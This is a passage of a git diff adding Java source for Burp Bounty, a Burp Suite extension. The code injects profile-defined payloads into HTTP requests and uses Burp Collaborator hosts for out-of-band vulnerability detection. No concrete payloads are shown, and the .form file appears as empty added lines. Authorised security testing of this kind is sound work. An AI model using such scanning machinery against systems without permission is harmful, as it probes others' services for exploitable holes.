javax.swing.JButton jButton8; + private javax.swing.JButton jButton9; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel10; + private javax.swing.JLabel jLabel11; + private javax.swing.JLabel jLabel12; + private javax.swing.JLabel jLabel13; + private javax.swing.JLabel jLabel14; + private javax.swing.JLabel jLabel15; + private javax.swing.JLabel jLabel16; + private javax.swing.JLabel jLabel17; + private javax.swing.JLabel jLabel18; + private javax.swing.JLabel jLabel19; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel20; + private javax.swing.JLabel jLabel22; + private javax.swing.JLabel jLabel23; + private javax.swing.JLabel jLabel24; + private javax.swing.JLabel jLabel25; + private javax.swing.JLabel jLabel26; + private javax.swing.JLabel jLabel27; + private javax.swing.JLabel jLabel28; + private javax.swing.JLabel jLabel29; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel30; + private javax.swing.JLabel jLabel31; + private javax.swing.JLabel jLabel32; + private javax.swing.JLabel jLabel33; + private javax.swing.JLabel jLabel34; + private javax.swing.JLabel jLabel35; + private javax.swing.JLabel jLabel36; + private javax.swing.JLabel jLabel37; + private javax.swing.JLabel jLabel38; + private javax.swing.JLabel jLabel39; + private javax.swing.JLabel jLabel4; + private javax.swing.JLabel jLabel40; + private javax.swing.JLabel jLabel41; + private javax.swing.JLabel jLabel42; + private javax.swing.JLabel jLabel46; + private javax.swing.JLabel jLabel47; + private javax.swing.JLabel jLabel5; + private javax.swing.JLabel jLabel52; + private javax.swing.JLabel jLabel53; + private javax.swing.JLabel jLabel54; + private javax.swing.JLabel jLabel55; + private javax.swing.JLabel jLabel6; + private javax.swing.JLabel jLabel7; + private javax.swing.JLabel jLabel9; + public javax.swing.JPanel jPanel10; + private javax.swing.JPanel jPanel11; + private javax.swing.JPanel jPanel12; + private javax.swing.JPanel jPanel3; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JScrollPane jScrollPane10; + private javax.swing.JScrollPane jScrollPane11; + private javax.swing.JScrollPane jScrollPane14; + private javax.swing.JScrollPane jScrollPane15; + private javax.swing.JScrollPane jScrollPane3; + private javax.swing.JScrollPane jScrollPane4; + private javax.swing.JScrollPane jScrollPane5; + private javax.swing.JScrollPane jScrollPane6; + private javax.swing.JScrollPane jScrollPane7; + private javax.swing.JScrollPane jScrollPane8; + private javax.swing.JScrollPane jScrollPane9; + private javax.swing.JSeparator jSeparator10; + private javax.swing.JSeparator jSeparator11; + private javax.swing.JSeparator jSeparator12; + private javax.swing.JSeparator jSeparator2; + private javax.swing.JSeparator jSeparator3; + private javax.swing.JSeparator jSeparator4; + private javax.swing.JSeparator jSeparator5; + private javax.swing.JSeparator jSeparator6; + private javax.swing.JSeparator jSeparator7; + private javax.swing.JSeparator jSeparator8; + private javax.swing.JSeparator jSeparator9; + public javax.swing.JCheckBox last_modified_header; + public javax.swing.JCheckBox limited_body_content; + public javax.swing.JCheckBox line_count; + public javax.swing.JList list1; + public javax.swing.JList list3; + public javax.swing.JList listtag; + public javax.swing.JCheckBox location; + public javax.swing.JCheckBox negativeCT; + public javax.swing.JCheckBox negativeRC; + public javax.swing.JComboBox newTagCombo; + private javax.swing.JButton newTagb; + public javax.swing.JCheckBox non_hidden_form_input_types; + public javax.swing.JCheckBox onlyhttp; + public javax.swing.JCheckBox outbound_edge_count; + public javax.swing.JCheckBox outbound_edge_tag_names; + public javax.swing.JCheckBox page_title; + public javax.swing.JCheckBox paramamf; + public javax.swing.JCheckBox parambody; + public javax.swing.JCheckBox paramcookie; + public javax.swing.JCheckBox paramjson; + public javax.swing.JCheckBox parammultipartattr; + public javax.swing.JCheckBox paramnamebody; + public javax.swing.JCheckBox paramnameurl; + public javax.swing.JCheckBox paramurl; + public javax.swing.JCheckBox paramxml; + public javax.swing.JCheckBox paramxmlattr; + public javax.swing.JRadioButton radio10; + public javax.swing.JRadioButton radio11; + public javax.swing.JRadioButton radio12; + public javax.swing.JRadioButton radio22; + public javax.swing.JRadioButton radio3; + public javax.swing.JRadioButton radio4; + public javax.swing.JRadioButton radio5; + public javax.swing.JRadioButton radio6; + public javax.swing.JRadioButton radio7; + public javax.swing.JRadioButton radio8; + public javax.swing.JRadioButton radio9; + public javax.swing.JRadioButton radiocl; + public javax.swing.JRadioButton radiotime; + public javax.swing.JRadioButton rb1; + public javax.swing.JRadioButton rb2; + public javax.swing.JRadioButton rb3; + public javax.swing.JRadioButton rb4; + private javax.swing.JButton removetag; + public javax.swing.JRadioButton replace; + public javax.swing.JCheckBox set_cookie_names; + public javax.swing.JSpinner sp1; + public javax.swing.JCheckBox status_code; + public javax.swing.JTable table4; + public javax.swing.JTable table5; + public javax.swing.JCheckBox tag_ids; + public javax.swing.JCheckBox tag_names; + public javax.swing.JTextField text1; + public javax.swing.JTextField text4; + public javax.swing.JTextField text5; + public javax.swing.JTextField text71; + public javax.swing.JTextField text72; + public javax.swing.JTextArea textarea1; + public javax.swing.JTextArea textarea2; + public javax.swing.JTextArea textarea3; + public javax.swing.JTextArea textarea4; + public javax.swing.JTextField textauthor; + public javax.swing.JTextField textcl; + public javax.swing.JTextField textfield1; + public javax.swing.JTextField textgreps; + public javax.swing.JTextField textpayloads; + public javax.swing.JTextField texttime; + public javax.swing.JCheckBox unknown; + public javax.swing.JCheckBox urlpathfilename; + public javax.swing.JCheckBox urlpathfolder; + public javax.swing.JCheckBox userprovided; + public javax.swing.JRadioButton variationsRadio; + public javax.swing.JCheckBox visible_text; + public javax.swing.JCheckBox visible_word_count; + public javax.swing.JCheckBox whole_body_content; + public javax.swing.JCheckBox word_count; + // End of variables declaration//GEN-END:variables +} diff --git a/src/src/BuildUnencodeRequest.java b/src/src/BuildUnencodeRequest.java new file mode 100755 index 0000000..fe2b9fb --- /dev/null +++ b/src/src/BuildUnencodeRequest.java @@ -0,0 +1,73 @@ +package burpbounty; + +import burp.IExtensionHelpers; +import burp.IScannerInsertionPoint; +import java.util.List; + +public class BuildUnencodeRequest { + + private IExtensionHelpers helpers; + + BuildUnencodeRequest(IExtensionHelpers helpers) { + this.helpers = helpers; + } + + byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte[] payload, List headers, String bchost) { + byte[] canary = buildCanary(payload.length); + byte[] request = iScannerInsertionPoint.buildRequest(canary); + int canaryPos = findCanary(canary, request); + System.arraycopy(payload, 0, request, canaryPos, payload.length); + + String tempRequest = helpers.bytesToString(request); + String stringpayload = helpers.bytesToString(payload); + + if (!headers.isEmpty()) { + for (int x = 0; x < headers.size(); x++) { + String replace = headers.get(x).replace; + if (headers.get(x).type.equals("Request")) { + if (headers.get(x).regex.equals("String")) { + if (replace.contains("{PAYLOAD}")) { + replace = replace.replace("{PAYLOAD}", stringpayload); + } + if (replace.contains("{BC}")) { + replace = replace.replace("{BC}", bchost); + } + if (headers.get(x).match.isEmpty()) { + tempRequest = tempRequest.replace("\r\n\r\n", "\r\n" + replace + "\r\n\r\n"); + } else { + tempRequest = tempRequest.replace(headers.get(x).match, replace); + } + } else { + if (replace.contains("{PAYLOAD}")) { + replace = replace.replaceAll("\\{PAYLOAD\\}", stringpayload); + } + if (replace.contains("{BC}")) { + replace = replace.replaceAll("\\{BC\\}", bchost); + } + if (headers.get(x).match.isEmpty()) { + tempRequest = tempRequest.replaceAll("\\r\\n\\r\\n", "\r\n" + replace + "\r\n\r\n"); + } else { + tempRequest = tempRequest.replaceAll(headers.get(x).match, replace); + } + } + + } + } + return helpers.stringToBytes(tempRequest); + } + return request; + } + + private byte[] buildCanary(int payloadLength) { + byte[] canary = new byte[payloadLength]; + for (int i = 0; i < payloadLength; i++) { + canary[i] = '$'; + } + return canary; + } + + private int findCanary(byte[] canary, byte[] request) { + int canaryPos = helpers.indexOf(request, canary, false, 0, request.length); + return canaryPos; + } +} \ No newline at end of file diff --git a/src/src/BurpBountyExtension.java b/src/src/BurpBountyExtension.java new file mode 100755 index 0000000..036ce7e --- /dev/null +++ b/src/src/BurpBountyExtension.java @@ -0,0 +1,253 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpCollaboratorClientContext; +import burp.IBurpExtender; +import burp.IBurpExtenderCallbacks; +import burp.IExtensionHelpers; +import burp.IExtensionStateListener; +import burp.IHttpRequestResponse; +import burp.IRequestInfo; +import burp.IScanIssue; +import burp.IScannerCheck; +import burp.IScannerInsertionPoint; +import burp.IScannerInsertionPointProvider; +import burp.ITab; +import com.google.gson.Gson; +import com.google.gson.JsonArray; +import com.google.gson.JsonParser; +import com.google.gson.stream.JsonReader; +import java.awt.Component; +import java.awt.Dimension; +import java.io.File; +import java.io.FileReader; +import java.util.ArrayList; +import java.util.List; +import javax.swing.JScrollPane; +import javax.swing.ScrollPaneConstants; +import javax.swing.SwingUtilities; + +public class BurpBountyExtension implements IBurpExtender, ITab, IScannerCheck, IExtensionStateListener, IScannerInsertionPointProvider { + + public static IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + List CollaboratorClientContext; + private JScrollPane optionsTab; + private BurpBountyGui panel; + ProfilesProperties issue; + BurpCollaboratorThread BurpCollaborator; + BurpCollaboratorThread bct; + CollaboratorData burpCollaboratorData; + List responses; + List params; + Gson gson; + int scanner; + JsonArray profiles; + + @Override + public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + callbacks.setExtensionName("Burp Bounty"); + responses = new ArrayList(); + params = new ArrayList(); + gson = new Gson(); + callbacks.registerScannerCheck(this); + callbacks.registerExtensionStateListener(this); + callbacks.registerScannerInsertionPointProvider(this); + CollaboratorClientContext = new ArrayList(); + burpCollaboratorData = new CollaboratorData(helpers); + bct = new BurpCollaboratorThread(callbacks, burpCollaboratorData); + bct.start(); + + SwingUtilities.invokeLater(() -> { + panel = new BurpBountyGui(this); + optionsTab = new JScrollPane(panel, ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED, ScrollPaneConstants.HORIZONTAL_SCROLLBAR_AS_NEEDED); + optionsTab.setPreferredSize(new Dimension(600, 600)); + optionsTab.getVerticalScrollBar().setUnitIncrement(20); + callbacks.addSuiteTab(this); + + callbacks.printOutput("- Burp Bounty v3.5"); + callbacks.printOutput("- For bugs please on the official github: https://github.com/wagiro/BurpBounty/"); + callbacks.printOutput("- Created by Eduardo Garcia Melia "); + + }); + + } + + public JsonArray getProfiles() { + FileReader fr; + + try { + JsonArray data = new JsonArray(); + File f = new File(panel.profiles_directory); + if (f.exists() && f.isDirectory()) { + for (File file : f.listFiles()) { + if (file.getName().endsWith(".bb")) { + fr = new FileReader(file.getAbsolutePath()); + JsonReader json = new JsonReader((fr)); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + fr.close(); + } + + } + } + return data; + } catch (Exception e) { + callbacks.printError("BurpBountyGui line 1823:" + e.getMessage()); + return null; + } + } + + @Override + public void extensionUnloaded() { + bct.doStop(); + callbacks.printOutput("- Burp Bounty extension was unloaded"); + } + + @Override + public List getInsertionPoints(IHttpRequestResponse baseRequestResponse) { + List insertionPoints = new ArrayList(); + + try { + IRequestInfo request = helpers.analyzeRequest(baseRequestResponse); + + if (request.getMethod().equals("GET")) { + String url = request.getUrl().getHost(); + byte[] match = helpers.stringToBytes("/"); + byte[] req = baseRequestResponse.getRequest(); + int len = helpers.bytesToString(baseRequestResponse.getRequest()).indexOf("HTTP"); + int beginAt = 0; + + while (beginAt < len) { + beginAt = helpers.indexOf(req, match, false, beginAt, len); + if (beginAt == -1) { + break; + } + if (!params.contains(url + ":p4r4m" + beginAt)) { + insertionPoints.add(helpers.makeScannerInsertionPoint("p4r4m" + beginAt, baseRequestResponse.getRequest(), beginAt, helpers.bytesToString(baseRequestResponse.getRequest()).indexOf(" HTTP"))); + params.add(url + ":p4r4m" + beginAt); + } + beginAt += match.length; + } + } + } catch (NullPointerException e) { + return insertionPoints; + } + return insertionPoints; + } + + @Override + public List doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { + JsonArray allprofiles = getProfiles(); + JsonArray activeprofiles = new JsonArray(); + params = new ArrayList(); + + try { + for (int i = 0; i < allprofiles.size(); i++) { + Object idata = allprofiles.get(i); + issue = gson.fromJson(idata.toString(), ProfilesProperties.class); + scanner = issue.getScanner(); + + if (scanner == 1 && issue.getEnabled() && issue.getInsertionPointType().contains(insertionPoint.getInsertionPointType() & 0xFF)) { + activeprofiles.add(allprofiles.get(i)); + } + + } + if (activeprofiles.size() == 0) { + return null; + } + + GenericScan as = new GenericScan(this, callbacks, burpCollaboratorData, panel.getProfilesFilename(), allprofiles); + + IBurpCollaboratorClientContext CollaboratorClientContext2 = callbacks.createBurpCollaboratorClientContext(); + burpCollaboratorData.setCollaboratorClientContext(CollaboratorClientContext2); + String bchost = CollaboratorClientContext2.generatePayload(true); + return as.runAScan(baseRequestResponse, insertionPoint, activeprofiles, bchost); + } catch (Exception ex) { + callbacks.printError("BurpBountyExtension line 174: " + ex.getMessage()); + } + return null; + } + + @Override + public List doPassiveScan(IHttpRequestResponse baseRequestResponse) { + JsonArray allprofiles = getProfiles(); + JsonArray passiveresprofiles = new JsonArray(); + JsonArray passivereqprofiles = new JsonArray(); + List issues = new ArrayList(); + + for (int i = 0; i < allprofiles.size(); i++) { + Object idata = allprofiles.get(i); + issue = gson.fromJson(idata.toString(), ProfilesProperties.class); + scanner = issue.getScanner(); + if (issue.getEnabled() && scanner == 2) { + passiveresprofiles.add(allprofiles.get(i)); + } else if (issue.getEnabled() && scanner == 3) { + passivereqprofiles.add(allprofiles.get(i)); + } + } + + if (passiveresprofiles.size() > 0) { + GenericScan ps = new GenericScan(this, callbacks, burpCollaboratorData, panel.getProfilesFilename(), allprofiles); + + try { + IBurpCollaboratorClientContext CollaboratorClientContext2 = callbacks.createBurpCollaboratorClientContext(); + burpCollaboratorData.setCollaboratorClientContext(CollaboratorClientContext2); + String bchost = CollaboratorClientContext2.generatePayload(true); + issues.addAll(ps.runResPScan(baseRequestResponse, passiveresprofiles, bchost)); + } catch (Exception ex) { + callbacks.printError("BurpBountyExtension line 219: " + ex.getMessage()); + } + } + + if (passivereqprofiles.size() > 0) { + GenericScan ps = new GenericScan(this, callbacks, burpCollaboratorData, panel.getProfilesFilename(), allprofiles); + + try { + IBurpCollaboratorClientContext CollaboratorClientContext2 = callbacks.createBurpCollaboratorClientContext(); + burpCollaboratorData.setCollaboratorClientContext(CollaboratorClientContext2); + String bchost = CollaboratorClientContext2.generatePayload(true); + issues.addAll(ps.runReqPScan(baseRequestResponse, passivereqprofiles, bchost)); + } catch (Exception ex) { + callbacks.printError("BurpBountyExtension line 229: " + ex.getMessage()); + } + } + return issues; + } + + @Override + public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) { + if (existingIssue.getIssueName().equals(newIssue.getIssueName())) { + return -1; + } else { + return 0; + } + } + + @Override + public String getTabCaption() { + return "Burp Bounty"; + } + + @Override + public Component getUiComponent() { + return optionsTab; + } + +} diff --git a/src/src/BurpBountyGui.form b/src/src/BurpBountyGui.form new file mode 100755 index 0000000..ff1d998 --- /dev/null +++ b/src/src/BurpBountyGui.form @@ -0,0 +1,901 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/src/BurpBountyGui.java b/src/src/BurpBountyGui.java new file mode 100755 index 0000000..16f5568 --- /dev/null +++ b/src/src/BurpBountyGui.java @@ -0,0 +1,3253 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpExtenderCallbacks; +import com.google.gson.Gson; +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.google.gson.reflect.TypeToken; +import com.google.gson.stream.JsonReader; +import java.awt.Desktop; +import java.awt.Dimension; +import java.awt.Toolkit; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.DataFlavor; +import java.awt.datatransfer.Transferable; +import java.awt.datatransfer.UnsupportedFlavorException; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.FilenameFilter; +import java.io.IOException; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Set; +import java.util.TreeSet; +import javax.swing.DefaultListModel; +import javax.swing.JDialog; +import javax.swing.JFileChooser; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JTable; +import javax.swing.event.TableModelEvent; +import javax.swing.event.TableModelListener; +import javax.swing.table.DefaultTableModel; +import javax.swing.table.TableModel; +import javax.swing.table.TableRowSorter; + +public class BurpBountyGui extends javax.swing.JPanel { + + private IBurpExtenderCallbacks callbacks; + public String filename; + private String name; + private String issuename; + private String issuedetail; + private String issuebackground; + private String remediationdetail; + private String remediationbackground; + private String charstourlencode; + private int scanner; + private int matchtype; + private String issueseverity; + private String issueconfidence; + private String responsecode; + private String contenttype; + private boolean negativect; + private boolean negativerc; + private boolean notresponse; + private boolean casesensitive; + private boolean excludeHTTP; + private boolean onlyHTTP; + private boolean urlencode; + private boolean isresponsecode; + private boolean iscontenttype; + private int redirtype; + private int maxRedir; + private int payloadPosition; + private String payloadsfile; + private String grepsfile; + private String timeOut; + private String contentLength; + private String author; + private DefaultListModel tagmanager; + private List headers; + private List variationAttributes; + private List insertionPointType; + private List Tags; + Boolean pathDiscovery; + + DefaultTableModel model; + DefaultTableModel model1; + DefaultTableModel model2; + DefaultTableModel model4; + DefaultTableModel model9; + DefaultTableModel model10; + DefaultTableModel modeltagmanager; + String profiles_directory; + BurpBountyExtension parent; + + public BurpBountyGui(BurpBountyExtension parent) { + this.callbacks = parent.callbacks; + this.parent = parent; + filename = ""; + name = ""; + issuename = ""; + issuedetail = ""; + issuebackground = ""; + remediationdetail = ""; + remediationbackground = ""; + charstourlencode = ""; + scanner = 0; + matchtype = 0; + issueseverity = ""; + issueconfidence = ""; + responsecode = ""; + contenttype = ""; + negativect = false; + negativerc = false; + notresponse = false; + casesensitive = false; + excludeHTTP = false; + onlyHTTP = false; + urlencode = false; + isresponsecode = false; + iscontenttype = false; + redirtype = 0; + maxRedir = 0; + payloadPosition = 0; + payloadsfile = ""; + grepsfile = ""; + timeOut = ""; + contentLength = ""; + author = ""; + tagmanager = new DefaultListModel(); + model4 = new DefaultTableModel(); + model9 = new DefaultTableModel(); + model10 = new DefaultTableModel(); + modeltagmanager = new DefaultTableModel(); + headers = new ArrayList(); + variationAttributes = new ArrayList(); + insertionPointType = new ArrayList(); + + if (callbacks.loadExtensionSetting("filename") != null) { + filename = callbacks.loadExtensionSetting("filename"); + profiles_directory = filename + File.separator; + } else { + filename = System.getProperty("user.home"); + profiles_directory = filename + File.separator; + } + + + model = new DefaultTableModel() { + + @Override + public Class getColumnClass(int columnIndex) { + Class clazz = String.class; + switch (columnIndex) { + case 0: + clazz = Boolean.class; + break; + } + return clazz; + } + + @Override + public boolean isCellEditable(int row, int column) { + return column == 0; + } + }; + + model1 = new DefaultTableModel() { + + @Override + public Class getColumnClass(int columnIndex) { + Class clazz = String.class; + switch (columnIndex) { + case 0: + clazz = Boolean.class; + break; + } + return clazz; + } + + @Override + public boolean isCellEditable(int row, int column) { + return column == 0; + } + }; + + model2 = new DefaultTableModel() { + @Override + public Class getColumnClass(int columnIndex) { + Class clazz = String.class; + switch (columnIndex) { + case 0: + clazz = Boolean.class; + break; + } + return clazz; + } + + @Override + public boolean isCellEditable(int row, int column) { + return column == 0; + } + }; + + //main + initComponents(); + text11.setText(filename); + makeTagsFile(); + showTags(); + showProfiles("All"); + } + + public void setActiveAttackValues(String profiles, ActiveProfile profile) { + //Set Attack values when select from main combobox + try { + Gson gson = new Gson(); + JsonArray json = initJson(); + ProfilesProperties profile_property = new ProfilesProperties(); + + if (json != null) { + for (JsonElement pa : json) { + JsonObject bbObj = pa.getAsJsonObject(); + if (bbObj.get("Name").getAsString().equals(profiles)) { + profile_property = gson.fromJson(bbObj.toString(), ProfilesProperties.class + ); + } + + } + } + + name = profile_property.getName(); + scanner = profile_property.getScanner(); + casesensitive = profile_property.getCaseSensitive(); + notresponse = profile_property.getNotResponse(); + matchtype = profile_property.getMatchType(); + issuename = profile_property.getIssueName(); + issueseverity = profile_property.getIssueSeverity(); + issueconfidence = profile_property.getIssueConfidence(); + issuedetail = profile_property.getIssueDetail(); + issuebackground = profile_property.getIssueBackground(); + remediationdetail = profile_property.getRemediationDetail(); + remediationbackground = profile_property.getRemediationBackground(); + urlencode = profile_property.getUrlEncode(); + charstourlencode = profile_property.getCharsToUrlEncode(); + iscontenttype = profile_property.getIsContentType(); + isresponsecode = profile_property.getIsResponseCode(); + contenttype = profile_property.getContentType(); + responsecode = profile_property.getResponseCode(); + excludeHTTP = profile_property.getExcludeHTTP(); + onlyHTTP = profile_property.getOnlyHTTP(); + negativect = profile_property.getNegativeCT(); + negativerc = profile_property.getNegativeRC(); + redirtype = profile_property.getRedirection(); + maxRedir = profile_property.getMaxRedir(); + payloadsfile = profile_property.getpayloadsFile(); + grepsfile = profile_property.getgrepsFile(); + payloadPosition = profile_property.getPayloadPosition(); + timeOut = profile_property.getTime(); + author = profile_property.getAuthor(); + contentLength = profile_property.getContentLength(); + headers = profile_property.getHeader(); + variationAttributes = profile_property.getVariationAttributes(); + insertionPointType = profile_property.getInsertionPointType(); + + profile.textauthor.setText(author); + profile.text1.setText(name); + + if (payloadPosition == 1) { + buttonGroup9.setSelected(profile.replace.getModel(), true); + } else if (payloadPosition == 2) { + buttonGroup9.setSelected(profile.append.getModel(), true); + } + + profile.grep.removeAllElements(); + profile.payload.removeAllElements(); + profile.encoder.removeAllElements(); + profile.tag.removeAllElements(); + + profile.textpayloads.setText(payloadsfile); + profile.textgreps.setText(grepsfile); + + profile.showGreps(profile_property.getGreps()); + + if (!payloadsfile.isEmpty()) { + loadPath(payloadsfile, profile.payload); + updatePayloads(payloadsfile, profile_property); + + } else { + for (String pay : profile_property.getPayloads()) { + profile.payload.addElement(pay); + } + } + + if (profile_property.getTags() != null) { + for (String t : profile_property.getTags()) { + profile.tag.addElement(t); + } + } + + for (String enc : profile_property.getEncoder()) { + profile.encoder.addElement(enc); + } + + profile.text71.setText(contenttype); + profile.text72.setText(responsecode); + + profile.check8.setSelected(urlencode); + profile.text5.setText(charstourlencode); + profile.excludehttp.setSelected(excludeHTTP); + profile.onlyhttp.setSelected(onlyHTTP); + + if (timeOut.equals("0")) { + profile.texttime.setText(""); + } else { + profile.texttime.setText(timeOut); + } + + if (contentLength.equals("0")) { + profile.textcl.setText(""); + } else { + profile.textcl.setText(contentLength); + } + + switch (matchtype) { + case 1: + buttonGroup4.setSelected(profile.radio4.getModel(), true); + break; + case 2: + buttonGroup4.setSelected(profile.radio3.getModel(), true); + break; + case 3: + buttonGroup4.setSelected(profile.radio12.getModel(), true); + break; + case 4: + buttonGroup4.setSelected(profile.radio22.getModel(), true); + break; + case 5: + buttonGroup4.setSelected(profile.radiotime.getModel(), true); + break; + case 6: + buttonGroup4.setSelected(profile.radiocl.getModel(), true); + break; + case 7: + buttonGroup4.setSelected(profile.variationsRadio.getModel(), true); + break; + case 8: + buttonGroup4.setSelected(profile.invariationsRadio.getModel(), true); + break; + default: + buttonGroup4.clearSelection(); + break; + } + + switch (redirtype) { + case 1: + buttonGroup8.setSelected(profile.rb1.getModel(), true); + break; + case 2: + buttonGroup8.setSelected(profile.rb2.getModel(), true); + break; + case 3: + buttonGroup8.setSelected(profile.rb3.getModel(), true); + break; + case 4: + buttonGroup8.setSelected(profile.rb4.getModel(), true); + break; + default: + buttonGroup8.clearSelection(); + break; + } + + profile.showHeaders(headers); + + setSelectedVariations(false, profile); + + if (variationAttributes.contains("status_code")) { + profile.status_code.setSelected(true); + } + if (variationAttributes.contains("input_image_labels")) { + profile.input_image_labels.setSelected(true); + } + if (variationAttributes.contains("non_hidden_form_input_types")) { + profile.non_hidden_form_input_types.setSelected(true); + } + if (variationAttributes.contains("page_title")) { + profile.page_title.setSelected(true); + } + if (variationAttributes.contains("visible_text")) { + profile.visible_text.setSelected(true); + } + if (variationAttributes.contains("button_submit_labels")) { + profile.button_submit_labels.setSelected(true); + } + if (variationAttributes.contains("div_ids")) { + profile.div_ids.setSelected(true); + } + if (variationAttributes.contains("word_count")) { + profile.word_count.setSelected(true); + } + if (variationAttributes.contains("content_type")) { + profile.content_type.setSelected(true); + } + if (variationAttributes.contains("outbound_edge_tag_names")) { + profile.outbound_edge_tag_names.setSelected(true); + } + if (variationAttributes.contains("whole_body_content")) { + profile.whole_body_content.setSelected(true); + } + if (variationAttributes.contains("etag_header")) { + profile.etag_header.setSelected(true); + } + if (variationAttributes.contains("visible_word_count")) { + profile.visible_word_count.setSelected(true); + } + if (variationAttributes.contains("content_length")) { + profile.content_length.setSelected(true); + } + if (variationAttributes.contains("header_tags")) { + profile.header_tags.setSelected(true); + } + if (variationAttributes.contains("tag_ids")) { + profile.tag_ids.setSelected(true); + } + if (variationAttributes.contains("comments")) { + profile.comments.setSelected(true); + } + if (variationAttributes.contains("line_count")) { + profile.line_count.setSelected(true); + } + if (variationAttributes.contains("set_cookie_names")) { + profile.set_cookie_names.setSelected(true); + } + if (variationAttributes.contains("last_modified_header")) { + profile.last_modified_header.setSelected(true); + } + if (variationAttributes.contains("first_header_tag")) { + profile.first_header_tag.setSelected(true); + } + if (variationAttributes.contains("tag_names")) { + profile.tag_names.setSelected(true); + } + if (variationAttributes.contains("input_submit_labels")) { + profile.input_submit_labels.setSelected(true); + } + if (variationAttributes.contains("outbound_edge_count")) { + profile.outbound_edge_count.setSelected(true); + } + if (variationAttributes.contains("initial_body_content")) { + profile.initial_body_content.setSelected(true); + } + if (variationAttributes.contains("content_location")) { + profile.content_location.setSelected(true); + } + if (variationAttributes.contains("limited_body_content")) { + profile.limited_body_content.setSelected(true); + } + if (variationAttributes.contains("canonical_link")) { + profile.canonical_link.setSelected(true); + } + if (variationAttributes.contains("css_classes")) { + profile.css_classes.setSelected(true); + } + if (variationAttributes.contains("location")) { + profile.location.setSelected(true); + } + if (variationAttributes.contains("anchor_labels")) { + profile.anchor_labels.setSelected(true); + } + + profile.setSelectedInsertionPointType(false); + + if (insertionPointType.contains(18)) { + profile.All.setSelected(true); + } + if (insertionPointType.contains(65)) { + profile.extensionprovided.setSelected(true); + } + if (insertionPointType.contains(32)) { + profile.header.setSelected(true); + } + if (insertionPointType.contains(36)) { + profile.entirebody.setSelected(true); + } + if (insertionPointType.contains(7)) { + profile.paramamf.setSelected(true); + } + if (insertionPointType.contains(1)) { + profile.parambody.setSelected(true); + } + if (insertionPointType.contains(2)) { + profile.paramcookie.setSelected(true); + } + if (insertionPointType.contains(6)) { + profile.paramjson.setSelected(true); + } + if (insertionPointType.contains(33)) { + profile.urlpathfolder.setSelected(true); + } + if (insertionPointType.contains(5)) { + profile.parammultipartattr.setSelected(true); + } + if (insertionPointType.contains(35)) { + profile.paramnamebody.setSelected(true); + } + if (insertionPointType.contains(34)) { + profile.paramnameurl.setSelected(true); + } + if 